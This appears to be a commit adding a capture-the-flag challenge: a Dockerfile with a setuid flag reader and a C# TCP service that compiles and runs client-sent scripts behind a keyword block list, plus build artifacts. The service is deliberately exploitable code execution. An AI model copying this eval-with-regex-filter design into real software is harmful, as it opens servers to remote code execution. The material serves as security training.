huge commit
This commit is contained in:
22
2026/cscg/misc/CS_Sript_Time/Dockerfile
Executable file
22
2026/cscg/misc/CS_Sript_Time/Dockerfile
Executable file
@@ -0,0 +1,22 @@
|
||||
FROM mcr.microsoft.com/dotnet/sdk:9.0@sha256:3fcf6f1e809c0553f9feb222369f58749af314af6f063f389cbd2f913b4ad556 AS build
|
||||
|
||||
COPY flag /flag
|
||||
COPY readflag /readflag
|
||||
|
||||
RUN chown 0:0 /readflag \
|
||||
&& chmod u+s /readflag \
|
||||
&& chown 0:0 /flag \
|
||||
&& chmod 400 /flag
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
# Copy everything
|
||||
COPY cs-script-time ./cs-script-time
|
||||
# Restore as distinct layers
|
||||
|
||||
WORKDIR cs-script-time
|
||||
|
||||
RUN dotnet restore
|
||||
|
||||
# Build and publish a release
|
||||
ENTRYPOINT ["dotnet", "run"]
|
||||
129
2026/cscg/misc/CS_Sript_Time/cs-script-time/Program.cs
Executable file
129
2026/cscg/misc/CS_Sript_Time/cs-script-time/Program.cs
Executable file
@@ -0,0 +1,129 @@
|
||||
using System;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading.Tasks;
|
||||
using CSScriptLib;
|
||||
|
||||
namespace Challenge
|
||||
{
|
||||
internal class Program
|
||||
{
|
||||
private const String HEADER = @"
|
||||
public object Do()
|
||||
{
|
||||
var result = new System.Collections.ArrayList();";
|
||||
|
||||
private const String FOOTER = @"
|
||||
if (result.Count == 0) return null;
|
||||
return result;
|
||||
}
|
||||
";
|
||||
private const string NAMESPACES = "using System.Collections;\n" +
|
||||
"using System.Collections.Generic;\n" +
|
||||
"using Math = System.Math;\n" +
|
||||
"using ArrayList = System.Collections.ArrayList;\n" +
|
||||
"using TimeSpan = System.TimeSpan;\n" +
|
||||
"using DateTime = System.DateTime;\n" +
|
||||
"using Random = System.Random;\n" +
|
||||
"using DayOfWeek = System.DayOfWeek;\n";
|
||||
|
||||
private const string SCRIPTBASE = "public class Script\n{\n";
|
||||
private const string SCRIPTBASE_END = " }";
|
||||
|
||||
static async Task Main(string[] args)
|
||||
{
|
||||
await StartTcpListenerAsync();
|
||||
}
|
||||
|
||||
private static async Task StartTcpListenerAsync()
|
||||
{
|
||||
TcpListener listener = new TcpListener(IPAddress.Any, 1337);
|
||||
listener.Start();
|
||||
Console.WriteLine("TCP Listener started on port 1337.");
|
||||
|
||||
while (true)
|
||||
{
|
||||
TcpClient client = await listener.AcceptTcpClientAsync();
|
||||
Console.WriteLine("Client connected.");
|
||||
_ = HandleClientAsync(client);
|
||||
}
|
||||
}
|
||||
|
||||
private static async Task HandleClientAsync(TcpClient client)
|
||||
{
|
||||
using (NetworkStream stream = client.GetStream())
|
||||
{
|
||||
var welcomeMessage = $"Welcome to the script evaluator. Write your script and finish it with $EOF\n";
|
||||
|
||||
byte[] welcomeMessageBytes = Encoding.UTF8.GetBytes(welcomeMessage);
|
||||
await stream.WriteAsync(welcomeMessageBytes, 0, welcomeMessageBytes.Length);
|
||||
|
||||
byte[] buffer = new byte[1024*128];
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
do {
|
||||
int offset = 0;
|
||||
int bytesRead = await stream.ReadAsync(buffer, offset, buffer.Length - offset);
|
||||
|
||||
sb.Append(Encoding.UTF8.GetString(buffer, offset, bytesRead));
|
||||
offset += bytesRead;
|
||||
}
|
||||
while (!sb.ToString().Contains("$EOF"));
|
||||
var request = sb.ToString();
|
||||
request = request.Replace("$EOF", "");
|
||||
|
||||
Console.WriteLine($"Received: {request}");
|
||||
|
||||
// Check for restricted keywords using regex
|
||||
string pattern = @"\b(new|using|System|Microsoft|invoke)\b";
|
||||
if (Regex.IsMatch(request, pattern, RegexOptions.IgnoreCase))
|
||||
{
|
||||
string errorResponse = "Script execution denied due to restricted keywords.\n";
|
||||
byte[] errorResponseBytes = Encoding.UTF8.GetBytes(errorResponse);
|
||||
await stream.WriteAsync(errorResponseBytes, 0, errorResponseBytes.Length);
|
||||
Console.WriteLine("Error response sent due to restricted keywords.");
|
||||
client.Close();
|
||||
return;
|
||||
}
|
||||
|
||||
string script = $"{NAMESPACES}\n{SCRIPTBASE}\n{HEADER}\n{request}\n{FOOTER}\n{SCRIPTBASE_END}\n\n";
|
||||
|
||||
var fullScriptResponse = $"\n========== \nFull Script: \n{script}";
|
||||
byte[] fullScriptResponseBytes = Encoding.UTF8.GetBytes(fullScriptResponse);
|
||||
await stream.WriteAsync(fullScriptResponseBytes, 0, fullScriptResponseBytes.Length);
|
||||
try
|
||||
{
|
||||
dynamic scriptObj = CSScript.Evaluator
|
||||
.LoadCode(script);
|
||||
|
||||
dynamic scriptResult = scriptObj.Do();
|
||||
|
||||
string response;
|
||||
if (scriptResult != null)
|
||||
{
|
||||
response = $"Script executed successfully. Result: {scriptResult}";
|
||||
}
|
||||
else
|
||||
{
|
||||
response = "Script executed successfully but returned null.";
|
||||
}
|
||||
|
||||
byte[] responseBytes = Encoding.UTF8.GetBytes(response);
|
||||
await stream.WriteAsync(responseBytes, 0, responseBytes.Length);
|
||||
Console.WriteLine("Response sent.");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
string errorResponse = $"Error executing script: {ex.Message}";
|
||||
byte[] errorResponseBytes = Encoding.UTF8.GetBytes(errorResponse);
|
||||
await stream.WriteAsync(errorResponseBytes, 0, errorResponseBytes.Length);
|
||||
Console.WriteLine("Error response sent.");
|
||||
}
|
||||
}
|
||||
|
||||
client.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
BIN
2026/cscg/misc/CS_Sript_Time/cs-script-time/bin/Debug/net9.0/CSScriptLib.dll
Executable file
BIN
2026/cscg/misc/CS_Sript_Time/cs-script-time/bin/Debug/net9.0/CSScriptLib.dll
Executable file
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
2026/cscg/misc/CS_Sript_Time/cs-script-time/bin/Debug/net9.0/cs-script-time
Executable file
BIN
2026/cscg/misc/CS_Sript_Time/cs-script-time/bin/Debug/net9.0/cs-script-time
Executable file
Binary file not shown.
@@ -0,0 +1,296 @@
|
||||
{
|
||||
"runtimeTarget": {
|
||||
"name": ".NETCoreApp,Version=v9.0",
|
||||
"signature": ""
|
||||
},
|
||||
"compilationOptions": {},
|
||||
"targets": {
|
||||
".NETCoreApp,Version=v9.0": {
|
||||
"cs-script-time/1.0.0": {
|
||||
"dependencies": {
|
||||
"CS-Script": "4.8.27"
|
||||
},
|
||||
"runtime": {
|
||||
"cs-script-time.dll": {}
|
||||
}
|
||||
},
|
||||
"CS-Script/4.8.27": {
|
||||
"dependencies": {
|
||||
"Microsoft.CodeAnalysis.CSharp.Scripting": "4.11.0",
|
||||
"Microsoft.CodeAnalysis.Scripting.Common": "4.11.0",
|
||||
"Microsoft.Extensions.DependencyModel": "9.0.0"
|
||||
},
|
||||
"runtime": {
|
||||
"lib/netstandard2.0/CSScriptLib.dll": {
|
||||
"assemblyVersion": "4.8.27.0",
|
||||
"fileVersion": "4.8.27.0"
|
||||
}
|
||||
}
|
||||
},
|
||||
"Microsoft.CodeAnalysis.Common/4.11.0": {
|
||||
"runtime": {
|
||||
"lib/net8.0/Microsoft.CodeAnalysis.dll": {
|
||||
"assemblyVersion": "4.11.0.0",
|
||||
"fileVersion": "4.1100.24.37604"
|
||||
}
|
||||
},
|
||||
"resources": {
|
||||
"lib/net8.0/cs/Microsoft.CodeAnalysis.resources.dll": {
|
||||
"locale": "cs"
|
||||
},
|
||||
"lib/net8.0/de/Microsoft.CodeAnalysis.resources.dll": {
|
||||
"locale": "de"
|
||||
},
|
||||
"lib/net8.0/es/Microsoft.CodeAnalysis.resources.dll": {
|
||||
"locale": "es"
|
||||
},
|
||||
"lib/net8.0/fr/Microsoft.CodeAnalysis.resources.dll": {
|
||||
"locale": "fr"
|
||||
},
|
||||
"lib/net8.0/it/Microsoft.CodeAnalysis.resources.dll": {
|
||||
"locale": "it"
|
||||
},
|
||||
"lib/net8.0/ja/Microsoft.CodeAnalysis.resources.dll": {
|
||||
"locale": "ja"
|
||||
},
|
||||
"lib/net8.0/ko/Microsoft.CodeAnalysis.resources.dll": {
|
||||
"locale": "ko"
|
||||
},
|
||||
"lib/net8.0/pl/Microsoft.CodeAnalysis.resources.dll": {
|
||||
"locale": "pl"
|
||||
},
|
||||
"lib/net8.0/pt-BR/Microsoft.CodeAnalysis.resources.dll": {
|
||||
"locale": "pt-BR"
|
||||
},
|
||||
"lib/net8.0/ru/Microsoft.CodeAnalysis.resources.dll": {
|
||||
"locale": "ru"
|
||||
},
|
||||
"lib/net8.0/tr/Microsoft.CodeAnalysis.resources.dll": {
|
||||
"locale": "tr"
|
||||
},
|
||||
"lib/net8.0/zh-Hans/Microsoft.CodeAnalysis.resources.dll": {
|
||||
"locale": "zh-Hans"
|
||||
},
|
||||
"lib/net8.0/zh-Hant/Microsoft.CodeAnalysis.resources.dll": {
|
||||
"locale": "zh-Hant"
|
||||
}
|
||||
}
|
||||
},
|
||||
"Microsoft.CodeAnalysis.CSharp/4.11.0": {
|
||||
"dependencies": {
|
||||
"Microsoft.CodeAnalysis.Common": "4.11.0"
|
||||
},
|
||||
"runtime": {
|
||||
"lib/net8.0/Microsoft.CodeAnalysis.CSharp.dll": {
|
||||
"assemblyVersion": "4.11.0.0",
|
||||
"fileVersion": "4.1100.24.37604"
|
||||
}
|
||||
},
|
||||
"resources": {
|
||||
"lib/net8.0/cs/Microsoft.CodeAnalysis.CSharp.resources.dll": {
|
||||
"locale": "cs"
|
||||
},
|
||||
"lib/net8.0/de/Microsoft.CodeAnalysis.CSharp.resources.dll": {
|
||||
"locale": "de"
|
||||
},
|
||||
"lib/net8.0/es/Microsoft.CodeAnalysis.CSharp.resources.dll": {
|
||||
"locale": "es"
|
||||
},
|
||||
"lib/net8.0/fr/Microsoft.CodeAnalysis.CSharp.resources.dll": {
|
||||
"locale": "fr"
|
||||
},
|
||||
"lib/net8.0/it/Microsoft.CodeAnalysis.CSharp.resources.dll": {
|
||||
"locale": "it"
|
||||
},
|
||||
"lib/net8.0/ja/Microsoft.CodeAnalysis.CSharp.resources.dll": {
|
||||
"locale": "ja"
|
||||
},
|
||||
"lib/net8.0/ko/Microsoft.CodeAnalysis.CSharp.resources.dll": {
|
||||
"locale": "ko"
|
||||
},
|
||||
"lib/net8.0/pl/Microsoft.CodeAnalysis.CSharp.resources.dll": {
|
||||
"locale": "pl"
|
||||
},
|
||||
"lib/net8.0/pt-BR/Microsoft.CodeAnalysis.CSharp.resources.dll": {
|
||||
"locale": "pt-BR"
|
||||
},
|
||||
"lib/net8.0/ru/Microsoft.CodeAnalysis.CSharp.resources.dll": {
|
||||
"locale": "ru"
|
||||
},
|
||||
"lib/net8.0/tr/Microsoft.CodeAnalysis.CSharp.resources.dll": {
|
||||
"locale": "tr"
|
||||
},
|
||||
"lib/net8.0/zh-Hans/Microsoft.CodeAnalysis.CSharp.resources.dll": {
|
||||
"locale": "zh-Hans"
|
||||
},
|
||||
"lib/net8.0/zh-Hant/Microsoft.CodeAnalysis.CSharp.resources.dll": {
|
||||
"locale": "zh-Hant"
|
||||
}
|
||||
}
|
||||
},
|
||||
"Microsoft.CodeAnalysis.CSharp.Scripting/4.11.0": {
|
||||
"dependencies": {
|
||||
"Microsoft.CodeAnalysis.CSharp": "4.11.0",
|
||||
"Microsoft.CodeAnalysis.Common": "4.11.0",
|
||||
"Microsoft.CodeAnalysis.Scripting.Common": "4.11.0"
|
||||
},
|
||||
"runtime": {
|
||||
"lib/net8.0/Microsoft.CodeAnalysis.CSharp.Scripting.dll": {
|
||||
"assemblyVersion": "4.11.0.0",
|
||||
"fileVersion": "4.1100.24.37604"
|
||||
}
|
||||
},
|
||||
"resources": {
|
||||
"lib/net8.0/cs/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
|
||||
"locale": "cs"
|
||||
},
|
||||
"lib/net8.0/de/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
|
||||
"locale": "de"
|
||||
},
|
||||
"lib/net8.0/es/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
|
||||
"locale": "es"
|
||||
},
|
||||
"lib/net8.0/fr/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
|
||||
"locale": "fr"
|
||||
},
|
||||
"lib/net8.0/it/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
|
||||
"locale": "it"
|
||||
},
|
||||
"lib/net8.0/ja/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
|
||||
"locale": "ja"
|
||||
},
|
||||
"lib/net8.0/ko/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
|
||||
"locale": "ko"
|
||||
},
|
||||
"lib/net8.0/pl/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
|
||||
"locale": "pl"
|
||||
},
|
||||
"lib/net8.0/pt-BR/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
|
||||
"locale": "pt-BR"
|
||||
},
|
||||
"lib/net8.0/ru/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
|
||||
"locale": "ru"
|
||||
},
|
||||
"lib/net8.0/tr/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
|
||||
"locale": "tr"
|
||||
},
|
||||
"lib/net8.0/zh-Hans/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
|
||||
"locale": "zh-Hans"
|
||||
},
|
||||
"lib/net8.0/zh-Hant/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll": {
|
||||
"locale": "zh-Hant"
|
||||
}
|
||||
}
|
||||
},
|
||||
"Microsoft.CodeAnalysis.Scripting.Common/4.11.0": {
|
||||
"dependencies": {
|
||||
"Microsoft.CodeAnalysis.Common": "4.11.0"
|
||||
},
|
||||
"runtime": {
|
||||
"lib/net8.0/Microsoft.CodeAnalysis.Scripting.dll": {
|
||||
"assemblyVersion": "4.11.0.0",
|
||||
"fileVersion": "4.1100.24.37604"
|
||||
}
|
||||
},
|
||||
"resources": {
|
||||
"lib/net8.0/cs/Microsoft.CodeAnalysis.Scripting.resources.dll": {
|
||||
"locale": "cs"
|
||||
},
|
||||
"lib/net8.0/de/Microsoft.CodeAnalysis.Scripting.resources.dll": {
|
||||
"locale": "de"
|
||||
},
|
||||
"lib/net8.0/es/Microsoft.CodeAnalysis.Scripting.resources.dll": {
|
||||
"locale": "es"
|
||||
},
|
||||
"lib/net8.0/fr/Microsoft.CodeAnalysis.Scripting.resources.dll": {
|
||||
"locale": "fr"
|
||||
},
|
||||
"lib/net8.0/it/Microsoft.CodeAnalysis.Scripting.resources.dll": {
|
||||
"locale": "it"
|
||||
},
|
||||
"lib/net8.0/ja/Microsoft.CodeAnalysis.Scripting.resources.dll": {
|
||||
"locale": "ja"
|
||||
},
|
||||
"lib/net8.0/ko/Microsoft.CodeAnalysis.Scripting.resources.dll": {
|
||||
"locale": "ko"
|
||||
},
|
||||
"lib/net8.0/pl/Microsoft.CodeAnalysis.Scripting.resources.dll": {
|
||||
"locale": "pl"
|
||||
},
|
||||
"lib/net8.0/pt-BR/Microsoft.CodeAnalysis.Scripting.resources.dll": {
|
||||
"locale": "pt-BR"
|
||||
},
|
||||
"lib/net8.0/ru/Microsoft.CodeAnalysis.Scripting.resources.dll": {
|
||||
"locale": "ru"
|
||||
},
|
||||
"lib/net8.0/tr/Microsoft.CodeAnalysis.Scripting.resources.dll": {
|
||||
"locale": "tr"
|
||||
},
|
||||
"lib/net8.0/zh-Hans/Microsoft.CodeAnalysis.Scripting.resources.dll": {
|
||||
"locale": "zh-Hans"
|
||||
},
|
||||
"lib/net8.0/zh-Hant/Microsoft.CodeAnalysis.Scripting.resources.dll": {
|
||||
"locale": "zh-Hant"
|
||||
}
|
||||
}
|
||||
},
|
||||
"Microsoft.Extensions.DependencyModel/9.0.0": {
|
||||
"runtime": {
|
||||
"lib/net9.0/Microsoft.Extensions.DependencyModel.dll": {
|
||||
"assemblyVersion": "9.0.0.0",
|
||||
"fileVersion": "9.0.24.52809"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"libraries": {
|
||||
"cs-script-time/1.0.0": {
|
||||
"type": "project",
|
||||
"serviceable": false,
|
||||
"sha512": ""
|
||||
},
|
||||
"CS-Script/4.8.27": {
|
||||
"type": "package",
|
||||
"serviceable": true,
|
||||
"sha512": "sha512-uhBU/H1SZR+sTLjGoaxGUHT3lhJrKUKKdqzPGcnmv1caALKpqJCwJJLsaEYObQMZCpMmYpUbQcmIgLTFp3QWdQ==",
|
||||
"path": "cs-script/4.8.27",
|
||||
"hashPath": "cs-script.4.8.27.nupkg.sha512"
|
||||
},
|
||||
"Microsoft.CodeAnalysis.Common/4.11.0": {
|
||||
"type": "package",
|
||||
"serviceable": true,
|
||||
"sha512": "sha512-djf8ujmqYImFgB04UGtcsEhHrzVqzHowS+EEl/Yunc5LdrYrZhGBWUTXoCF0NzYXJxtfuD+UVQarWpvrNc94Qg==",
|
||||
"path": "microsoft.codeanalysis.common/4.11.0",
|
||||
"hashPath": "microsoft.codeanalysis.common.4.11.0.nupkg.sha512"
|
||||
},
|
||||
"Microsoft.CodeAnalysis.CSharp/4.11.0": {
|
||||
"type": "package",
|
||||
"serviceable": true,
|
||||
"sha512": "sha512-6XYi2EusI8JT4y2l/F3VVVS+ISoIX9nqHsZRaG6W5aFeJ5BEuBosHfT/ABb73FN0RZ1Z3cj2j7cL28SToJPXOw==",
|
||||
"path": "microsoft.codeanalysis.csharp/4.11.0",
|
||||
"hashPath": "microsoft.codeanalysis.csharp.4.11.0.nupkg.sha512"
|
||||
},
|
||||
"Microsoft.CodeAnalysis.CSharp.Scripting/4.11.0": {
|
||||
"type": "package",
|
||||
"serviceable": true,
|
||||
"sha512": "sha512-sNeVeHfGHEPtxYGQIP+0BSTSBuv+dkWP5HEc1FstJpyYlibqKOmFm3y2j1AwEx9sKoRTs01092yrTH9BwZsxFQ==",
|
||||
"path": "microsoft.codeanalysis.csharp.scripting/4.11.0",
|
||||
"hashPath": "microsoft.codeanalysis.csharp.scripting.4.11.0.nupkg.sha512"
|
||||
},
|
||||
"Microsoft.CodeAnalysis.Scripting.Common/4.11.0": {
|
||||
"type": "package",
|
||||
"serviceable": true,
|
||||
"sha512": "sha512-UHZIAKQcLB00N7AvMoyEYLw8qvFmGcKffEm/M2dEqYz2TWUtQW2j0+nGglbt9VwOId6TrDZGQlGjX90VNFak/w==",
|
||||
"path": "microsoft.codeanalysis.scripting.common/4.11.0",
|
||||
"hashPath": "microsoft.codeanalysis.scripting.common.4.11.0.nupkg.sha512"
|
||||
},
|
||||
"Microsoft.Extensions.DependencyModel/9.0.0": {
|
||||
"type": "package",
|
||||
"serviceable": true,
|
||||
"sha512": "sha512-saxr2XzwgDU77LaQfYFXmddEDRUKHF4DaGMZkNB3qjdVSZlax3//dGJagJkKrGMIPNZs2jVFXITyCCR6UHJNdA==",
|
||||
"path": "microsoft.extensions.dependencymodel/9.0.0",
|
||||
"hashPath": "microsoft.extensions.dependencymodel.9.0.0.nupkg.sha512"
|
||||
}
|
||||
}
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"runtimeOptions": {
|
||||
"tfm": "net9.0",
|
||||
"framework": {
|
||||
"name": "Microsoft.NETCore.App",
|
||||
"version": "9.0.0"
|
||||
},
|
||||
"configProperties": {
|
||||
"System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization": false
|
||||
}
|
||||
}
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
15
2026/cscg/misc/CS_Sript_Time/cs-script-time/cs-script-time.csproj
Executable file
15
2026/cscg/misc/CS_Sript_Time/cs-script-time/cs-script-time.csproj
Executable file
@@ -0,0 +1,15 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
|
||||
<PropertyGroup>
|
||||
<OutputType>Exe</OutputType>
|
||||
<TargetFramework>net9.0</TargetFramework>
|
||||
<RootNamespace>cs_script_time</RootNamespace>
|
||||
<ImplicitUsings>enable</ImplicitUsings>
|
||||
<Nullable>enable</Nullable>
|
||||
</PropertyGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<PackageReference Include="CS-Script" Version="4.8.27" />
|
||||
</ItemGroup>
|
||||
|
||||
</Project>
|
||||
@@ -0,0 +1,4 @@
|
||||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v9.0", FrameworkDisplayName = ".NET 9.0")]
|
||||
BIN
2026/cscg/misc/CS_Sript_Time/cs-script-time/obj/Debug/net9.0/apphost
Executable file
BIN
2026/cscg/misc/CS_Sript_Time/cs-script-time/obj/Debug/net9.0/apphost
Executable file
Binary file not shown.
@@ -0,0 +1,22 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
using System;
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: System.Reflection.AssemblyCompanyAttribute("cs-script-time")]
|
||||
[assembly: System.Reflection.AssemblyConfigurationAttribute("Debug")]
|
||||
[assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.0.0")]
|
||||
[assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.0+ab2e537520d744ed1dc55722fadac5af1cb89268")]
|
||||
[assembly: System.Reflection.AssemblyProductAttribute("cs-script-time")]
|
||||
[assembly: System.Reflection.AssemblyTitleAttribute("cs-script-time")]
|
||||
[assembly: System.Reflection.AssemblyVersionAttribute("1.0.0.0")]
|
||||
|
||||
// Generated by the MSBuild WriteCodeFragment class.
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
aec4bdc7b8f1ca0854e5ace2a7604a55214d0b9bc1ed06c0a0f6e4213d8a7d28
|
||||
@@ -0,0 +1,25 @@
|
||||
is_global = true
|
||||
build_property.TargetFramework = net9.0
|
||||
build_property.TargetFramework = net9.0
|
||||
build_property.TargetPlatformMinVersion =
|
||||
build_property.TargetPlatformMinVersion =
|
||||
build_property.UsingMicrosoftNETSdkWeb =
|
||||
build_property.UsingMicrosoftNETSdkWeb =
|
||||
build_property.ProjectTypeGuids =
|
||||
build_property.ProjectTypeGuids =
|
||||
build_property.InvariantGlobalization =
|
||||
build_property.InvariantGlobalization =
|
||||
build_property.PlatformNeutralAssembly =
|
||||
build_property.PlatformNeutralAssembly =
|
||||
build_property.EnforceExtendedAnalyzerRules =
|
||||
build_property.EnforceExtendedAnalyzerRules =
|
||||
build_property._SupportedPlatformList = Linux,macOS,Windows
|
||||
build_property._SupportedPlatformList = Linux,macOS,Windows
|
||||
build_property.TargetFrameworkIdentifier = .NETCoreApp
|
||||
build_property.TargetFrameworkVersion = v9.0
|
||||
build_property.RootNamespace = cs_script_time
|
||||
build_property.ProjectDir = /home/cato/ctf/2026/cscg/misc/cs-script-time/
|
||||
build_property.EnableComHosting =
|
||||
build_property.EnableGeneratedComInterfaceComImportInterop =
|
||||
build_property.EffectiveAnalysisLevelStyle = 9.0
|
||||
build_property.EnableCodeStyleSeverity =
|
||||
@@ -0,0 +1,8 @@
|
||||
// <auto-generated/>
|
||||
global using System;
|
||||
global using System.Collections.Generic;
|
||||
global using System.IO;
|
||||
global using System.Linq;
|
||||
global using System.Net.Http;
|
||||
global using System.Threading;
|
||||
global using System.Threading.Tasks;
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
||||
65156bc56f438cb587d4c6feb37411fb34c7817b5188fc854695a823d27170b1
|
||||
@@ -0,0 +1,74 @@
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/cs-script-time
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/cs-script-time.deps.json
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/cs-script-time.runtimeconfig.json
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/cs-script-time.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/cs-script-time.pdb
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/CSScriptLib.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/Microsoft.CodeAnalysis.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/Microsoft.CodeAnalysis.CSharp.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/Microsoft.CodeAnalysis.CSharp.Scripting.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/Microsoft.CodeAnalysis.Scripting.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/Microsoft.Extensions.DependencyModel.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/cs/Microsoft.CodeAnalysis.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/de/Microsoft.CodeAnalysis.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/es/Microsoft.CodeAnalysis.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/fr/Microsoft.CodeAnalysis.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/it/Microsoft.CodeAnalysis.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ja/Microsoft.CodeAnalysis.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ko/Microsoft.CodeAnalysis.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/pl/Microsoft.CodeAnalysis.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/pt-BR/Microsoft.CodeAnalysis.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ru/Microsoft.CodeAnalysis.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/tr/Microsoft.CodeAnalysis.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/zh-Hans/Microsoft.CodeAnalysis.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/zh-Hant/Microsoft.CodeAnalysis.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/cs/Microsoft.CodeAnalysis.CSharp.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/de/Microsoft.CodeAnalysis.CSharp.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/es/Microsoft.CodeAnalysis.CSharp.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/fr/Microsoft.CodeAnalysis.CSharp.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/it/Microsoft.CodeAnalysis.CSharp.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ja/Microsoft.CodeAnalysis.CSharp.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ko/Microsoft.CodeAnalysis.CSharp.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/pl/Microsoft.CodeAnalysis.CSharp.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/pt-BR/Microsoft.CodeAnalysis.CSharp.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ru/Microsoft.CodeAnalysis.CSharp.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/tr/Microsoft.CodeAnalysis.CSharp.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/zh-Hans/Microsoft.CodeAnalysis.CSharp.resources.dll
|
||||
